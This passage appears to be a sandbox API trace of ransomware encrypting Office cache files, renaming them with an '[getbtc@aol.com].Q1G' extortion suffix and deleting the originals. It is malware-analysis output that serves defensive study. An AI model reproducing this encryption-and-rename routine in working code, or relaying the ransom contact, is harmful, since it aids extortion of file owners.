[0048.298] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.298] lstrlenW (lpString=".7z") returned 3 [0048.298] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".dbf") returned 4 [0048.298] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".1cd") returned 4 [0048.298] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".jpg") returned 4 [0048.298] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".doc") returned 4 [0048.298] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString=".docx") returned 5 [0048.298] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.298] lstrlenW (lpString=".pdf") returned 4 [0048.298] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString=".xls") returned 4 [0048.298] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString=".xlsx") returned 5 [0048.298] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.298] lstrlenW (lpString=".ppt") returned 4 [0048.298] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.298] lstrlenW (lpString=".zip") returned 4 [0048.298] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.299] lstrlenW (lpString=".rar") returned 4 [0048.299] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.299] lstrlenW (lpString=".bz2") returned 4 [0048.299] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.299] lstrlenW (lpString=".7z") returned 3 [0048.299] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.299] lstrlenW (lpString=".dbf") returned 4 [0048.299] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.299] lstrlenW (lpString=".1cd") returned 4 [0048.299] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0048.299] lstrlenW (lpString=".jpg") returned 4 [0048.299] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.299] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0048.299] lstrlenW (lpString="AccLR.cab") returned 9 [0048.299] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.299] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=28016276) returned 1 [0048.299] CloseHandle (hObject=0x1f8) returned 1 [0048.299] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0048.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.300] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.300] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.300] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.300] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.305] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.305] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.309] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.309] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.309] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.325] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0048.342] SetEndOfFile (hFile=0x1f8) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0048.586] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.586] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.587] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.587] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.589] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.589] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0048.593] CloseHandle (hObject=0x1f8) returned 1 [0048.594] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.594] lstrlenW (lpString=".doc") returned 4 [0048.594] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString=".docx") returned 5 [0048.594] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.594] lstrlenW (lpString=".pdf") returned 4 [0048.594] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString=".xls") returned 4 [0048.594] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString=".xlsx") returned 5 [0048.594] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.594] lstrlenW (lpString=".ppt") returned 4 [0048.594] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.594] lstrlenW (lpString=".zip") returned 4 [0048.594] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString=".rar") returned 4 [0048.594] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.594] lstrlenW (lpString=".bz2") returned 4 [0048.594] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.594] lstrlenW (lpString=".7z") returned 3 [0048.594] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.594] lstrlenW (lpString=".dbf") returned 4 [0048.594] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".1cd") returned 4 [0048.595] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".jpg") returned 4 [0048.595] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".doc") returned 4 [0048.595] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString=".docx") returned 5 [0048.595] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.595] lstrlenW (lpString=".pdf") returned 4 [0048.595] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString=".xls") returned 4 [0048.595] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString=".xlsx") returned 5 [0048.595] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.595] lstrlenW (lpString=".ppt") returned 4 [0048.595] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".zip") returned 4 [0048.595] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString=".rar") returned 4 [0048.595] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString=".bz2") returned 4 [0048.595] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.595] lstrlenW (lpString=".7z") returned 3 [0048.595] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".dbf") returned 4 [0048.595] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.595] lstrlenW (lpString=".1cd") returned 4 [0048.595] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0048.596] lstrlenW (lpString=".jpg") returned 4 [0048.596] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.596] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0048.596] lstrlenW (lpString="ose.exe") returned 7 [0048.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.596] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=174440) returned 1 [0048.596] CloseHandle (hObject=0x1f8) returned 1 [0048.596] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0048.596] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.596] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.596] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.597] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.597] GetLastError () returned 0x0 [0048.597] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0048.604] WriteFile (in: hFile=0x21c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0048.607] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.607] WriteFile (in: hFile=0x21c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.607] SetEndOfFile (hFile=0x21c) returned 1 [0048.607] CloseHandle (hObject=0x21c) returned 1 [0048.607] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.607] SetEndOfFile (hFile=0x1f8) returned 1 [0048.610] CloseHandle (hObject=0x1f8) returned 1 [0048.610] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.610] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0048.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.610] lstrlenW (lpString=".doc") returned 4 [0048.610] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.610] lstrlenW (lpString=".docx") returned 5 [0048.610] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.610] lstrlenW (lpString=".pdf") returned 4 [0048.610] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.610] lstrlenW (lpString=".xls") returned 4 [0048.610] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.610] lstrlenW (lpString=".xlsx") returned 5 [0048.610] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.610] lstrlenW (lpString=".ppt") returned 4 [0048.610] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.610] lstrlenW (lpString=".zip") returned 4 [0048.610] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.610] lstrlenW (lpString=".rar") returned 4 [0048.611] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString=".bz2") returned 4 [0048.611] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.611] lstrlenW (lpString=".7z") returned 3 [0048.611] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString=".dbf") returned 4 [0048.611] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString=".1cd") returned 4 [0048.611] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString=".jpg") returned 4 [0048.611] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString=".doc") returned 4 [0048.611] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.611] lstrlenW (lpString=".docx") returned 5 [0048.611] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.611] lstrlenW (lpString=".pdf") returned 4 [0048.611] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString=".xls") returned 4 [0048.611] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString=".xlsx") returned 5 [0048.611] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.611] lstrlenW (lpString=".ppt") returned 4 [0048.611] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.611] lstrlenW (lpString=".zip") returned 4 [0048.611] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString=".rar") returned 4 [0048.611] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.611] lstrlenW (lpString=".bz2") returned 4 [0048.612] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.612] lstrlenW (lpString=".7z") returned 3 [0048.612] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.612] lstrlenW (lpString=".dbf") returned 4 [0048.612] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.612] lstrlenW (lpString=".1cd") returned 4 [0048.612] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.612] lstrlenW (lpString=".jpg") returned 4 [0048.612] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.612] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0048.612] lstrlenW (lpString="osetup.dll") returned 10 [0048.612] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.612] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7378792) returned 1 [0048.612] CloseHandle (hObject=0x1f8) returned 1 [0048.612] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0048.612] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.613] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.613] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.613] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.613] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.616] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.616] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.618] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: 